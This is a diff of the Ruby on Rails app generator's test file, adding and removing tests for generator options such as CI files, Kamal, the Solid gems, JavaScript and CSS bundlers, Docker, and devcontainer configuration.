+  def test_brakeman_is_skipped_if_required
+    run_generator [destination_root, "--skip-brakeman"]
 
-  def test_tests_are_removed_from_frameworks_if_skip_test_is_given
-    run_generator [destination_root, "--skip-test"]
-    assert_file "config/application.rb", /#\s+require\s+["']rails\/test_unit\/railtie["']/
+    assert_no_gem "brakeman"
+    assert_no_file "bin/brakeman"
   end
 
-  def test_no_active_record_or_tests_if_skips_given
-    run_generator [destination_root, "--skip-test", "--skip-active-record"]
-    assert_file "config/application.rb", /#\s+require\s+["']rails\/test_unit\/railtie["']/
-    assert_file "config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
-    assert_file "config/application.rb", /\s+require\s+["']active_job\/railtie["']/
-  end
+  def test_both_brakeman_and_rubocop_binstubs_are_skipped_if_required
+    run_generator [destination_root, "--skip-brakeman", "--skip-rubocop"]
 
-  def test_pretend_option
-    output = run_generator [File.join(destination_root, "myapp"), "--pretend"]
-    assert_no_match(/run  bundle install/, output)
-    assert_no_match(/run  git init/, output)
+    assert_no_file "bin/rubocop"
+    assert_no_file "bin/brakeman"
   end
 
-  def test_application_name_with_spaces
-    path = File.join(destination_root, "foo bar")
+  def test_inclusion_of_bundler_audit
+    run_generator
+    assert_gem "bundler-audit"
+  end
 
-    # This also applies to MySQL apps but not with SQLite
-    run_generator [path, "-d", "postgresql"]
+  def test_bundler_audit_is_skipped_if_required
+    run_generator [destination_root, "--skip-bundler-audit"]
 
-    assert_file "foo bar/config/database.yml", /database: foo_bar_development/
+    assert_no_gem "bundler-audit"
+    assert_no_file "bin/bundler-audit"
   end
 
-  def test_web_console
+  def test_inclusion_of_ci_files
     run_generator
-    assert_gem "web-console"
+    assert_file ".github/workflows/ci.yml" do |yaml|
+      assert_nothing_raised do
+        YAML.load(yaml)
+      end
+    end
+    assert_file ".github/dependabot.yml" do |yaml|
+      assert_nothing_raised do
+        YAML.load(yaml)
+      end
+    end
   end
 
-  def test_web_console_with_dev_option
-    run_generator [destination_root, "--dev"]
+  def test_config_ci_includes_seed_step_by_default
+    run_generator [destination_root]
 
-    assert_file "Gemfile" do |content|
-      assert_match(/gem 'web-console',\s+github: 'rails\/web-console'/, content)
-      assert_no_match(/\Agem 'web-console', '>= 3.3.0'\z/, content)
+    assert_file "config/ci.rb" do |content|
+      assert_match(/step "Tests: Seeds", "env RAILS_ENV=test bin\/rails db:seed:replant"/, content)
     end
   end
 
-  def test_web_console_with_edge_option
-    run_generator [destination_root, "--edge"]
+  def test_config_ci_does_not_include_test_steps_when_skip_test_is_given
+    run_generator [destination_root, "--skip-test"]
 
-    assert_file "Gemfile" do |content|
-      assert_match(/gem 'web-console',\s+github: 'rails\/web-console'/, content)
-      assert_no_match(/\Agem 'web-console', '>= 3.3.0'\z/, content)
+    assert_file "config/ci.rb" do |content|
+      assert_no_match(/step "Tests: Rails"/, content)
+      assert_no_match(/step "Tests: System"/, content)
+      assert_no_match(/step "Tests: Seeds"/, content)
+      assert_no_match(/bin\/rails db:seed:replant/, content)
     end
   end
 
-  def test_generation_runs_bundle_install
-    assert_generates_with_bundler
-  end
+  def test_config_ci_does_not_include_seed_step_when_skip_active_record_is_given
+    run_generator [destination_root, "--skip-active-record"]
 
-  def test_dev_option
-    assert_generates_with_bundler dev: true
-    rails_path = File.expand_path("../../..", Rails.root)
-    assert_file "Gemfile", /^gem\s+["']rails["'],\s+path:\s+["']#{Regexp.escape(rails_path)}["']$/
+    assert_file "config/ci.rb" do |content|
+      assert_no_match(/step "Tests: Seeds"/, content)
+      assert_no_match(/bin\/rails db:seed:replant/, content)
+    end
   end
 
-  def test_edge_option
-    assert_generates_with_bundler edge: true
-    assert_file "Gemfile", %r{^gem\s+["']rails["'],\s+github:\s+["']#{Regexp.escape("rails/rails")}["']$}
+  def test_ci_workflow_includes_db_test_prepare_by_default
+    run_generator
+    assert_file ".github/workflows/ci.yml" do |content|
+      assert_match(/db:test:prepare test/, content)
+      assert_match(/db:test:prepare test:system/, content)
+    end
+  end
+
+  def test_ci_workflow_does_not_include_db_test_prepare_when_skip_active_record_is_given
+    run_generator [destination_root, "--skip-active-record"]
+    run_app_update
+
+    assert_file ".github/workflows/ci.yml" do |content|
+      assert_no_match(/db:test:prepare/, content)
+      assert_match(/bin\/rails test/, content)
+      assert_match(/bin\/rails test:system/, content)
+    end
+  end
+
+  def test_ci_files_are_skipped_if_required
+    run_generator [destination_root, "--skip-ci"]
+
+    assert_no_file ".github/workflows/ci.yml"
+    assert_no_file ".github/dependabot.yml"
+  end
+
+  def test_configuration_of_solid
+    generator [destination_root]
+    run_generator_instance
+
+    assert_gem "solid_cache"
+    assert_gem "solid_queue"
+    assert_gem "solid_cable"
+
+    assert_file "config/database.yml" do |content|
+      assert_match(%r{cache:}, content)
+      assert_match(%r{queue:}, content)
+      assert_match(%r{cable:}, content)
+    end
+  end
+
+  def test_inclusion_of_kamal_files
+    generator [destination_root]
+    run_generator_instance
+
+    assert_file "config/deploy.yml"
+    assert_file ".kamal/secrets"
+  end
+
+  def test_kamal_files_are_skipped_if_required
+    generator [destination_root], ["--skip-kamal"]
+    run_generator_instance
+
+    assert_empty @bundle_commands.grep("binstubs kamal")
+    assert_empty @bundle_commands.grep("exec kamal init")
+
+    assert_no_file "config/deploy.yml"
+    assert_no_file ".kamal/secrets"
+  end
+
+  def test_database_yml_skip_kamal
+    run_generator [destination_root, "--skip-kamal"]
+
+    assert_file("config/database.yml") do |content|
+      assert_match("db/queue_migrate", content)
+      assert_match("db/cache_migrate", content)
+      assert_match("db/cable_migrate", content)
+    end
+  end
+
+  def test_inclusion_of_kamal_storage_volume
+    generator [destination_root]
+    run_generator_instance
+
+    assert_equal 1, @bundle_commands.count("binstubs kamal")
+    assert_equal 1, @bundle_commands.count("exec kamal init")
+
+    assert_file "config/deploy.yml" do |content|
+      assert_match(%r{storage:/rails/storage}, content)
+    end
+  end
+
+  def test_inclusion_of_kamal_storage_volume_if_only_skip_active_storage_is_given
+    generator [destination_root], ["--skip-active-storage"]
+    run_generator_instance
+
+    assert_equal 1, @bundle_commands.count("binstubs kamal")
+    assert_equal 1, @bundle_commands.count("exec kamal init")
+
+    assert_file "config/deploy.yml" do |content|
+      assert_match(%r{storage:/rails/storage}, content)
+    end
+  end
+
+  def test_kamal_storage_volume_is_skipped_if_required
+    generator [destination_root], ["--skip-active-storage", "--database=postgresql"]
+    run_generator_instance
+
+    assert_equal 1, @bundle_commands.count("binstubs kamal")
+    assert_equal 1, @bundle_commands.count("exec kamal init")
+
+    assert_file "config/deploy.yml" do |content|
+      assert_no_match(%r{storage:/rails/storage}, content)
+    end
+  end
+
+  def test_kamal_deploy_yml_includes_asset_path_for_regular_apps
+    generator [destination_root]
+    run_generator_instance
+
+    assert_file "config/deploy.yml" do |content|
+      assert_match(/asset_path: \/rails\/public\/assets/, content)
+    end
+  end
+
+  def test_usage_read_from_file
+    assert_called(File, :read, returns: "USAGE FROM FILE") do
+      assert_equal "USAGE FROM FILE", Rails::Generators::AppGenerator.desc
+    end
+  end
+
+  def test_default_usage
+    assert_called(Rails::Generators::AppGenerator, :usage_path, returns: nil) do
+      assert_match(/Create rails files for app generator/, Rails::Generators::AppGenerator.desc)
+    end
+  end
+
+  def test_default_namespace
+    assert_match "rails:app", Rails::Generators::AppGenerator.namespace
+  end
+
+  def test_file_is_added_for_backwards_compatibility
+    action :file, "lib/test_file.rb", "here's test data"
+    assert_file "lib/test_file.rb", "here's test data"
+  end
+
+  def test_pretend_option
+    output = run_generator [File.join(destination_root, "myapp"), "--pretend"]
+    assert_no_match(/run  bundle install/, output)
+    assert_no_match(/run  git init/, output)
+  end
+
+  def test_quiet_option
+    output = run_generator [File.join(destination_root, "myapp"), "--quiet"]
+    assert_empty output
   end
 
-  def test_spring
+  def test_force_option_overwrites_every_file_except_master_key
+    run_generator [File.join(destination_root, "myapp")]
+    output = run_generator [File.join(destination_root, "myapp"), "--force"]
+    assert_match(/force/, output)
+    assert_no_match("force  config/master.key", output)
+  end
+
+  def test_application_name_with_spaces
+    path = File.join(destination_root, "foo bar")
+
+    # This also applies to MySQL apps but not with SQLite
+    run_generator [path, "-d", "postgresql"]
+
+    assert_file "foo bar/config/database.yml", /database: foo_bar_development/
+  end
+
+  def test_web_console
     run_generator
-    assert_gem "spring"
+    assert_gem "web-console"
   end
 
-  def test_spring_binstubs
-    jruby_skip "spring doesn't run on JRuby"
-    command_check = -> command do
-      @binstub_called ||= 0
+  def test_generation_runs_bundle_install
+    generator([destination_root])
+    run_generator_instance
 
-      case command
-      when "install"
-        # Called when running bundle, we just want to stub it so nothing to do here.
-      when "exec spring binstub --all"
-        @binstub_called += 1
-        assert_equal 1, @binstub_called, "exec spring binstub --all expected to be called once, but was called #{@install_called} times."
-      end
+    assert_not_empty @bundle_commands.grep(/^install/)
+  end
+
+  def test_generation_runs_bundle_lock_for_linux
+    generator([destination_root])
+    run_generator_instance
+
+    assert_not_empty @bundle_commands.grep(/\Alock --add-platform=\S+-linux/)
+  end
+
+  def test_generation_use_original_bundle_environment
+    generator([destination_root])
+
+    mock_original_env = -> do
+      { "BUNDLE_RUBYONRAILS__ORG" => "user:pass" }
     end
 
-    generator.stub :bundle_command, command_check do
-      quietly { generator.invoke_all }
+    ensure_environment_is_set = -> *_args do
+      assert_equal "user:pass", ENV["BUNDLE_RUBYONRAILS__ORG"]
+    end
+
+    Bundler.stub :original_env, mock_original_env do
+      generator.stub :exec_bundle_command, ensure_environment_is_set do
+        quietly { generator.invoke_all }
+      end
     end
   end
 
-  def test_spring_no_fork
-    jruby_skip "spring doesn't run on JRuby"
-    assert_called_with(Process, :respond_to?, [[:fork], [:fork]], returns: false) do
-      run_generator
+  def test_skip_active_job_option
+    run_generator [destination_root, "--skip-active-job"]
 
-      assert_file "Gemfile" do |content|
-        assert_no_match(/spring/, content)
+    ["production", "development", "test"].each do |env|
+      assert_file "config/environments/#{env}.rb" do |content|
+        assert_no_match(/active_job/, content)
       end
     end
   end
 
-  def test_skip_spring
-    run_generator [destination_root, "--skip-spring"]
+  def test_skip_solid_option
+    generator([destination_root], skip_solid: true)
+    run_generator_instance
+
+    assert_not_includes @rails_commands, "solid_cache:install solid_queue:install solid_cable:install", "`solid_cache:install solid_queue:install solid_cable:install` expected to not be called."
+    assert_no_gem "solid_cache"
+    assert_no_gem "solid_queue"
+    assert_no_gem "solid_cable"
+  end
+
+  def test_skip_javascript_option
+    generator([destination_root], skip_javascript: true)
+
+    run_generator_instance
+
+    assert_not_includes @rails_commands, "importmap:install", "`importmap:install` expected to not be called."
+    assert_not_includes @rails_commands, "turbo:install stimulus:install", "`turbo:install stimulus:install` expected to not be called."
+
+    assert_no_gem "importmap-rails"
+    assert_no_gem "jsbundling-rails"
+    assert_no_node_files
+
+    assert_file "app/controllers/application_controller.rb" do |content|
+      assert_no_match(/importmap/, content)
+    end
+
+    assert_file "config/initializers/content_security_policy.rb" do |content|
+      assert_no_match(/policy\.connect_src/, content)
+    end
+
+    assert_file "config/ci.rb" do |content|
+      assert_no_match(/importmap|yarn/, content)
+    end
+
+    assert_file ".gitattributes" do |content|
+      assert_no_match(/yarn\.lock/, content)
+    end
+  end
+
+  def test_webpack_option
+    generator([destination_root], javascript: "webpack")
+
+    run_generator_instance
+
+    assert_includes @rails_commands, "javascript:install:webpack", "`javascript:install:webpack` expected to be called, but wasn't."
+    assert_gem "jsbundling-rails"
+    assert_node_files
+  end
+
+  def test_esbuild_option
+    generator([destination_root], javascript: "esbuild")
+
+    run_generator_instance
+
+    assert_includes @rails_commands, "javascript:install:esbuild", "`javascript:install:esbuild` expected to be called, but wasn't."
+    assert_gem "jsbundling-rails"
+    assert_node_files
+  end
+
+  def test_esbuild_option_with_javascript_argument
+    run_generator [destination_root, "--javascript", "esbuild"]
+    assert_gem "jsbundling-rails"
+  end
+
+  def test_esbuild_option_with_j_argument
+    run_generator [destination_root, "-j", "esbuild"]
+    assert_gem "jsbundling-rails"
+  end
+
+  def test_esbuild_option_with_js_argument
+    run_generator [destination_root, "--js", "esbuild"]
+    assert_gem "jsbundling-rails"
+  end
+
+  def test_esbuild_without_yarn_installed
+    generator([destination_root], javascript: "esbuild")
+
+    # fallback to latest when yarn is not installed
+    generator.stub :dockerfile_yarn_version, "latest" do
+      quietly { generator.invoke_all }
+    end
+
+    assert_gem "jsbundling-rails"
+    assert_file "Dockerfile" do |content|
+      assert_match(/ARG YARN_VERSION=latest/, content)
 
-    assert_no_file "config/spring.rb"
-    assert_file "Gemfile" do |content|
-      assert_no_match(/spring/, content)
+      assert_match("RUN corepack enable && yarn set version $YARN_VERSION", content)
     end
   end
 
-  def test_spring_with_dev_option
-    run_generator [destination_root, "--dev"]
+  def test_bun_option
+    generator([destination_root], javascript: "bun")
+
+    run_generator_instance
+
+    assert_includes @rails_commands, "javascript:install:bun", "`javascript:install:bun` expected to be called, but wasn't."
+    assert_gem "jsbundling-rails"
+  end
+
+  def test_bun_option_with_javascript_argument
+    run_generator [destination_root, "--javascript", "bun"]
+    assert_gem "jsbundling-rails"
+  end
+
+  def test_bun_option_with_j_argument
+    run_generator [destination_root, "-j", "bun"]
+    assert_gem "jsbundling-rails"
+  end
+
+  def test_bun_option_with_js_argument
+    run_generator [destination_root, "--js", "bun"]
+    assert_gem "jsbundling-rails"
+  end
+
+  def test_bun_without_bun_installed
+    generator([destination_root], javascript: "bun")
+    bun_version = generator.class.const_get(:BUN_VERSION)
+
+    # fallback to constant when bun is not installed
+    generator.stub :dockerfile_bun_version, bun_version do
+      quietly { generator.invoke_all }
+    end
+
+    assert_gem "jsbundling-rails"
+    assert_file "Dockerfile" do |content|
+      assert_match(/ARG BUN_VERSION=#{bun_version}/, content)
 
-    assert_file "Gemfile" do |content|
-      assert_no_match(/spring/, content)
+      assert_match("RUN bun install --frozen-lockfile", content)
     end
   end
 
-  def test_generator_if_skip_turbolinks_is_given
-    run_generator [destination_root, "--skip-turbolinks"]
+  def test_skip_javascript_option_with_skip_javascript_argument
+    run_generator [destination_root, "--skip-javascript"]
+    assert_no_gem "stimulus-rails"
+    assert_no_gem "turbo-rails"
+    assert_no_gem "importmap-rails"
+  end
+
+  def test_skip_javascript_option_with_J_argument
+    run_generator [destination_root, "-J"]
+    assert_no_gem "stimulus-rails"
+    assert_no_gem "turbo-rails"
+    assert_no_gem "importmap-rails"
+  end
+
+  def test_skip_javascript_option_with_skip_js_argument
+    run_generator [destination_root, "--skip-js"]
+    assert_no_gem "stimulus-rails"
+    assert_no_gem "turbo-rails"
+    assert_no_gem "importmap-rails"
+  end
 
-    assert_file "Gemfile" do |content|
-      assert_no_match(/turbolinks/, content)
+  def test_hotwire
+    generator [destination_root]
+    run_generator_instance
+
+    assert_includes @rails_commands, "turbo:install stimulus:install", "`turbo:install stimulus:install` expected to be called, but wasn't."
+    assert_gem "turbo-rails"
+    assert_gem "stimulus-rails"
+    assert_file "app/views/layouts/application.html.erb" do |content|
+      assert_match(/data-turbo-track/, content)
     end
+  end
+
+  def test_skip_hotwire
+    generator [destination_root], ["--skip-hotwire"]
+    run_generator_instance
+
+    assert_no_gem "turbo-rails"
     assert_file "app/views/layouts/application.html.erb" do |content|
-      assert_no_match(/data-turbolinks-track/, content)
+      assert_no_match(/data-turbo-track/, content)
     end
-    assert_file "app/assets/javascripts/application.js" do |content|
-      assert_no_match(/turbolinks/, content)
+    assert_no_file "app/javascript/application.js"
+  end
+
+  def test_css_option_with_asset_pipeline_tailwind
+    generator [destination_root], ["--css=tailwind"]
+    run_generator_instance
+
+    assert_includes @rails_commands, "tailwindcss:install", "`tailwindcss:install` expected to be called, but wasn't."
+    assert_gem "tailwindcss-rails"
+    assert_no_node_files
+  end
+
+  def test_css_option_with_tailwind_uses_cssbundling_gem_when_using_node
+    run_generator [destination_root, "--css=tailwind", "--javascript=esbuild"]
+    assert_gem "cssbundling-rails"
+    assert_no_gem "tailwindcss-rails"
+  end
+
+  def test_css_option_with_asset_pipeline_sass
+    generator [destination_root], ["--css=sass"]
+    run_generator_instance
+
+    assert_includes @rails_commands, "dartsass:install", "`dartsass:install` expected to be called, but wasn't."
+    assert_gem "dartsass-rails"
+    assert_no_node_files
+  end
+
+  def test_css_option_with_sass_uses_cssbundling_gem_when_using_node
+    run_generator [destination_root, "--css=sass", "--javascript=esbuild"]
+    assert_gem "cssbundling-rails"
+    assert_no_gem "dartsass-rails"
+  end
+
+  def test_css_option_with_cssbundling_gem
+    generator [destination_root], ["--css=postcss"]
+    run_generator_instance
+
+    assert_includes @rails_commands, "css:install:postcss", "`css:install:postcss` expected to be called, but wasn't."
+    assert_gem "cssbundling-rails"
+    assert_node_files
+  end
+
+  def test_css_option_with_cssbundling_gem_does_not_force_jsbundling_gem
+    run_generator [destination_root, "--css=postcss"]
+    assert_no_gem "jsbundling-rails"
+    assert_gem "importmap-rails"
+  end
+
+  def test_css_option_with_cssbundling_uses_application_stylesheet_link_tag
+    run_generator [destination_root, "--css=bootstrap"]
+
+    assert_file "app/views/layouts/application.html.erb" do |content|
+      assert_match(/stylesheet_link_tag\s+"application"/, content)
+      assert_no_match(/stylesheet_link_tag\s+:app/, content)
     end
   end
 
-  def test_gitignore_when_sqlite3
-    run_generator
+  def test_default_generator_executes_all_rails_commands
+    generator [destination_root]
+    run_generator_instance
 
-    assert_file ".gitignore" do |content|
-      assert_match(/sqlite3/, content)
+    expected_commands = [
+      "credentials:diff --enroll", "importmap:install", "turbo:install stimulus:install", "solid_cache:install solid_queue:install solid_cable:install"
+    ]
+    assert_equal expected_commands, @rails_commands
+  end
+
+  def test_skip_dev_gems
+    run_generator [destination_root, "--skip-dev-gems"]
+    assert_no_gem "web-console"
+  end
+
+  def test_bootsnap
+    run_generator [destination_root, "--no-skip-bootsnap"]
+
+    unless defined?(JRUBY_VERSION)
+      assert_gem "bootsnap"
+      assert_file "config/boot.rb" do |content|
+        assert_match(/require "bootsnap\/setup"/, content)
+      end
+    else
+      assert_no_gem "bootsnap"
+      assert_file "config/boot.rb" do |content|
+        assert_no_match(/require "bootsnap\/setup"/, content)
+      end
     end
   end
 
-  def test_gitignore_when_no_active_record
-    run_generator [destination_root, "--skip-active-record"]
+  def test_skip_bootsnap
+    run_generator [destination_root, "--skip-bootsnap"]
 
-    assert_file ".gitignore" do |content|
-      assert_no_match(/sqlite/i, content)
+    assert_no_gem "bootsnap"
+    assert_file "config/boot.rb" do |content|
+      assert_no_match(/require "bootsnap\/setup"/, content)
     end
   end
 
-  def test_gitignore_when_non_sqlite3_db
-    run_generator([destination_root, "-d", "mysql"])
+  def test_bootsnap_with_dev_option
+    run_generator_using_prerelease [destination_root, "--dev"]
 
-    assert_file ".gitignore" do |content|
-      assert_no_match(/sqlite/i, content)
+    assert_no_gem "bootsnap"
+    assert_file "config/boot.rb" do |content|
+      assert_no_match(/require "bootsnap\/setup"/, content)
+    end
+  end
+
+  def test_dockerfile_bootsnap_precompile_is_single_threaded
+    skip "bootsnap not included on JRuby" if defined?(JRUBY_VERSION)
+    run_generator [destination_root, "--no-skip-bootsnap"]
+    assert_gem "bootsnap"
+    assert_file "Dockerfile" do |content|
+      assert_match(/bootsnap precompile -j 1 --gemfile/, content)
+      assert_match(/bootsnap precompile -j 1 app\/ lib\//, content)
+    end
+  end
+
+  def test_inclusion_of_ruby_version
+    run_generator
+
+    assert_file "Dockerfile" do |content|
+      assert_match(/ARG RUBY_VERSION=#{Gem.ruby_version}/, content)
+    end
+    assert_file ".ruby-version" do |content|
+      if ENV["RBENV_VERSION"]
+        assert_match(/#{ENV["RBENV_VERSION"]}/, content)
+      elsif ENV["rvm_ruby_string"]
+        assert_match(/#{ENV["rvm_ruby_string"]}/, content)
+      else
+        assert_match(/#{RUBY_ENGINE}-#{RUBY_ENGINE_VERSION}/, content)
+      end
+
+      assert content.end_with?("\n"), "expected .ruby-version to end with newline"
     end
   end
 
@@ -741,6 +1239,37 @@ def test_version_control_initializes_git_repo
     assert_directory ".git"
   end
 
+  def test_default_branch_main_without_user_default
+    current_default_branch = `git config --global init.defaultBranch`
+    `git config --global --unset init.defaultBranch`
+
+    run_generator [destination_root]
+    assert_file ".git/HEAD", /main/
+    assert_file ".github/workflows/ci.yml", /branches: \[ main \]/
+  ensure
+    if !current_default_branch.strip.empty?
+      `git config --global init.defaultBranch #{current_default_branch}`
+    end
+  end
+
+  def test_version_control_initializes_git_repo_with_user_default_branch
+    git_version = `git --version`[/\d+.\d+.\d+/]
+    return if Gem::Version.new(git_version) < Gem::Version.new("2.28.0")
+
+    current_default_branch = `git config --global init.defaultBranch`
+    `git config --global init.defaultBranch master`
+
+    run_generator [destination_root]
+    assert_file ".git/HEAD", /master/
+    assert_file ".github/workflows/ci.yml", /branches: \[ master \]/
+  ensure
+    if current_default_branch && current_default_branch.strip.empty?
+      `git config --global --unset init.defaultBranch`
+    elsif current_default_branch
+      `git config --global init.defaultBranch #{current_default_branch}`
+    end
+  end
+
   def test_create_keeps
     run_generator
     folders_with_keep = %w(
@@ -748,9 +1277,8 @@ def test_create_keeps
       app/controllers/concerns
       app/models/concerns
       lib/tasks
-      lib/assets
       log
-      test/fixtures
+      script
       test/fixtures/files
       test/controllers
       test/mailers
@@ -758,110 +1286,554 @@ def test_create_keeps
       test/helpers
       test/integration
       tmp
+      tmp/pids
     )
     folders_with_keep.each do |folder|
       assert_file("#{folder}/.keep")
     end
   end
 
-  def test_psych_gem
+  def test_principle_tasks_go_before_finish_template
+    tasks = generator.class.tasks.keys
+
+    assert_equal tasks.index("apply_rails_template") - 1, tasks.index("finish_template")
+  end
+
+  def test_after_bundle_callback
+    generator([destination_root]).send(:after_bundle) do
+      @bundle_commands_before_callback = @bundle_commands.dup
+    end
+
+    run_generator_instance
+
+    assert_not_empty @bundle_commands_before_callback
+    assert_equal @bundle_commands_before_callback, @bundle_commands
+  end
+
+  def test_apply_rails_template_class_method_runs_bundle_and_after_bundle_callbacks
     run_generator
-    gem_regex = /gem 'psych',\s+'~> 2.0',\s+platforms: :rbx/
 
-    assert_file "Gemfile" do |content|
-      if defined?(Rubinius)
-        assert_match(gem_regex, content)
-      else
-        assert_no_match(gem_regex, content)
+    FileUtils.cd(destination_root) do
+      template = "lib/template.rb"
+      File.write(template, "after_bundle { create_file 'after_bundle_callback_ran' }")
+
+      generator_class.no_commands do
+        assert_called_on_instance_of(generator_class, :run_bundle) do
+          quietly { generator_class.apply_rails_template(template, destination_root) }
+        end
       end
+
+      assert_file "after_bundle_callback_ran"
     end
   end
 
-  def test_after_bundle_callback
-    path = "http://example.org/rails_template"
-    template = %{ after_bundle { run 'echo ran after_bundle' } }
-    template.instance_eval "def read; self; end" # Make the string respond to read
+  def test_apply_rails_template_class_method_does_not_add_bundler_platforms
+    run_generator
+
+    FileUtils.cd(destination_root) do
+      FileUtils.touch("lib/template.rb")
 
-    check_open = -> *args do
-      assert_equal [ path, "Accept" => "application/x-thor-template" ], args
-      template
+      generator_class.no_commands do
+        # There isn't an easy way to access the generator instance in order to
+        # assert that we don't run `bundle lock --add-platform`, so the
+        # following assertion assumes that the sole call to `bundle_command` is
+        # for `bundle install`.
+        assert_called_on_instance_of(generator_class, :bundle_command, times: 1) do
+          quietly { generator_class.apply_rails_template("lib/template.rb", destination_root) }
+        end
+      end
     end
+  end
+
+  def test_gitignore
+    run_generator
 
-    sequence = ["git init", "install", "exec spring binstub --all", "echo ran after_bundle"]
-    @sequence_step ||= 0
-    ensure_bundler_first = -> command do
-      assert_equal sequence[@sequence_step], command, "commands should be called in sequence #{sequence}"
-      @sequence_step += 1
+    assert_file ".gitignore" do |content|
+      assert_match("config/*.key", content)
     end
+  end
 
-    generator([destination_root], template: path).stub(:open, check_open, template) do
-      generator.stub(:bundle_command, ensure_bundler_first) do
-        generator.stub(:run, ensure_bundler_first) do
-          quietly { generator.invoke_all }
-        end
-      end
+  def test_dockerignore
+    run_generator
+
+    assert_file ".dockerignore" do |content|
+      assert_match(/config\/master\.key/, content)
+      assert_match(/config\/deploy\*\.yml/, content)
+      assert_match(/\.kamal/, content)
     end
+  end
+
+  def test_dockerignore_skip_kamal
+    run_generator [destination_root, "--skip-kamal"]
 
-    assert_equal 4, @sequence_step
+    assert_file ".dockerignore" do |content|
+      assert_no_match(/config\/deploy\*\.yml/, content)
+      assert_no_match(/\.kamal/, content)
+    end
   end
 
-  private
+  def test_dockerfile
+    run_generator
+
+    assert_file "Dockerfile" do |content|
+      assert_match(/assets:precompile/, content)
+      assert_match(/libvips/, content)
+      assert_no_match(/yarn/, content)
+      assert_no_match(/node-gyp/, content)
+    end
+  end
+
+  def test_skip_docker
+    run_generator [destination_root, "--skip-docker"]
+
+    assert_no_file ".dockerignore"
+    assert_no_file "Dockerfile"
+    assert_no_file "bin/docker-entrypoint"
+  end
+
+  unless Gem.win_platform?
+    def test_master_key_is_only_readable_by_the_owner
+      run_generator
+
+      stat = File.stat("config/master.key")
+      assert_equal "100600", sprintf("%o", stat.mode)
+    end
+  end
+
+  def test_minimal_rails_app
+    generator([destination_root], ["--minimal"])
+
+    assert_option :minimal
+    assert_option :skip_action_cable
+    assert_option :skip_action_mailbox
+    assert_option :skip_action_mailer
+    assert_option :skip_action_text
+    assert_option :skip_active_job
+    assert_option :skip_active_storage
+    assert_option :skip_bootsnap
+    assert_option :skip_brakeman
+    assert_option :skip_bundler_audit
+    assert_option :skip_ci
+    assert_option :skip_dev_gems
+    assert_option :skip_docker
+    assert_option :skip_hotwire
+    assert_option :skip_javascript
+    assert_option :skip_jbuilder
+    assert_option :skip_kamal
+    assert_option :skip_rubocop
+    assert_option :skip_solid
+    assert_option :skip_system_test
+    assert_option :skip_thruster
+  end
+
+  def test_minimal_rails_app_with_no_skip_implied_option
+    generator([destination_root], ["--minimal", "--no-skip-action-text"])
+
+    assert_not_option :skip_action_text
+    assert_not_option :skip_active_storage
+    assert_not_option :skip_active_job
+    assert_option :skip_action_mailbox
+    assert_option :skip_action_mailer
+    assert_option :minimal
+  end
+
+  def test_minimal_rails_app_with_no_skip_intermediary_implied_option
+    generator([destination_root], ["--minimal", "--no-skip-active-storage"])
+
+    assert_not_option :skip_active_storage
+    assert_not_option :skip_active_job
+    assert_option :skip_action_text
+    assert_option :skip_action_mailbox
+    assert_option :skip_action_mailer
+    assert_option :minimal
+  end
+
+  def test_name_option
+    run_generator [destination_root, "--name=my-app"]
+    assert_file "config/application.rb", /^module MyApp$/
+  end
+
+  def test_devcontainer_supports_pretend
+    run_generator [ destination_root, "--devcontainer", "--pretend" ]
+
+    assert_no_file(".devcontainer/devcontainer.json")
+  end
+
+  def test_devcontainer
+    run_generator [destination_root, "--devcontainer", "--name=my-app"]
+
+    assert_devcontainer_json_file do |content|
+      assert_equal "my_app", content["name"]
+      assert_equal "45678", content["containerEnv"]["CAPYBARA_SERVER_PORT"]
+      assert_equal "$KAMAL_REGISTRY_PASSWORD", content["containerEnv"]["KAMAL_REGISTRY_PASSWORD"]
+      assert_equal "selenium", content["containerEnv"]["SELENIUM_HOST"]
+      assert_includes content["features"].keys, "ghcr.io/rails/devcontainer/features/activestorage"
+      assert_includes content["features"].keys, "ghcr.io/devcontainers/features/github-cli:1"
+      assert_includes content["features"].keys, "ghcr.io/rails/devcontainer/features/sqlite3"
+      assert_includes content["features"].keys, "ghcr.io/devcontainers/features/docker-outside-of-docker:1"
+      assert_includes(content["forwardPorts"], 3000)
+    end
+    assert_file(".devcontainer/Dockerfile") do |content|
+      assert_match(/ARG RUBY_VERSION=#{RUBY_VERSION}/, content)
+      assert_match(/ENV BINDING="0.0.0.0"/, content)
+    end
+    assert_file("test/application_system_test_case.rb") do |content|
+      assert_match(/^    served_by host: "rails-app", port: ENV\["CAPYBARA_SERVER_PORT"\]/, content)
+      assert_match(/^    driven_by :selenium, using: :headless_chrome, screen_size: \[ 1400, 1400 \], options: {$/, content)
+      assert_match(/^      browser: :remote,$/, content)
+      assert_match(/^      url: "http:\/\/\#{ENV\["SELENIUM_HOST"\]}:4444"$/, content)
+    end
+    assert_compose_file do |compose_config|
+      assert_equal "my_app", compose_config["name"]
+
+      expected_rails_app_config = {
+        "build" => {
+          "context" => "..",
+          "dockerfile" => ".devcontainer/Dockerfile"
+        },
+        "volumes" => ["../../tmp:/workspaces/tmp:cached"],
+        "command" => "sleep infinity",
+        "depends_on" => ["selenium"]
+      }
+
+      assert_equal expected_rails_app_config, compose_config["services"]["rails-app"]
+
+      expected_selenium_config = {
+        "image" => "selenium/standalone-chromium",
+        "restart" => "unless-stopped",
+      }
+
+      assert_equal expected_selenium_config, compose_config["services"]["selenium"]
+    end
+  end
+
+  def test_devcontainer_skip_kamal
+    run_generator [destination_root, "--devcontainer", "--name=my-app", "--skip-kamal"]
+
+    assert_devcontainer_json_file do |devcontainer_json|
+      assert_not_includes devcontainer_json["features"].keys, "ghcr.io/devcontainers/features/docker-outside-of-docker:1"
+      assert_not_includes devcontainer_json["containerEnv"].keys, "KAMAL_REGISTRY_PASSWORD"
+    end
+  end
+
+  def test_devcontainer_include_redis_skipping_solid
+    run_generator [destination_root, "--devcontainer", "--name=my-app", "--skip-solid"]
+
+    assert_devcontainer_json_file do |content|
+      assert_equal "redis://redis:6379/1", content["containerEnv"]["REDIS_URL"]
+      assert_includes content["forwardPorts"], 6379
+    end
+
+    assert_compose_file do |compose_config|
+      assert_includes compose_config["services"]["rails-app"]["depends_on"], "redis"
+
+      expected_redis_config = {
+        "image" => "valkey/valkey:8",
+        "restart" => "unless-stopped",
+        "volumes" => ["redis-data:/data"]
+      }
+
+      assert_equal expected_redis_config, compose_config["services"]["redis"]
+      assert_includes compose_config["volumes"].keys, "redis-data"
+    end
+  end
+
+  def test_devcontainer_no_redis_skipping_solid_action_cable_and_active_job
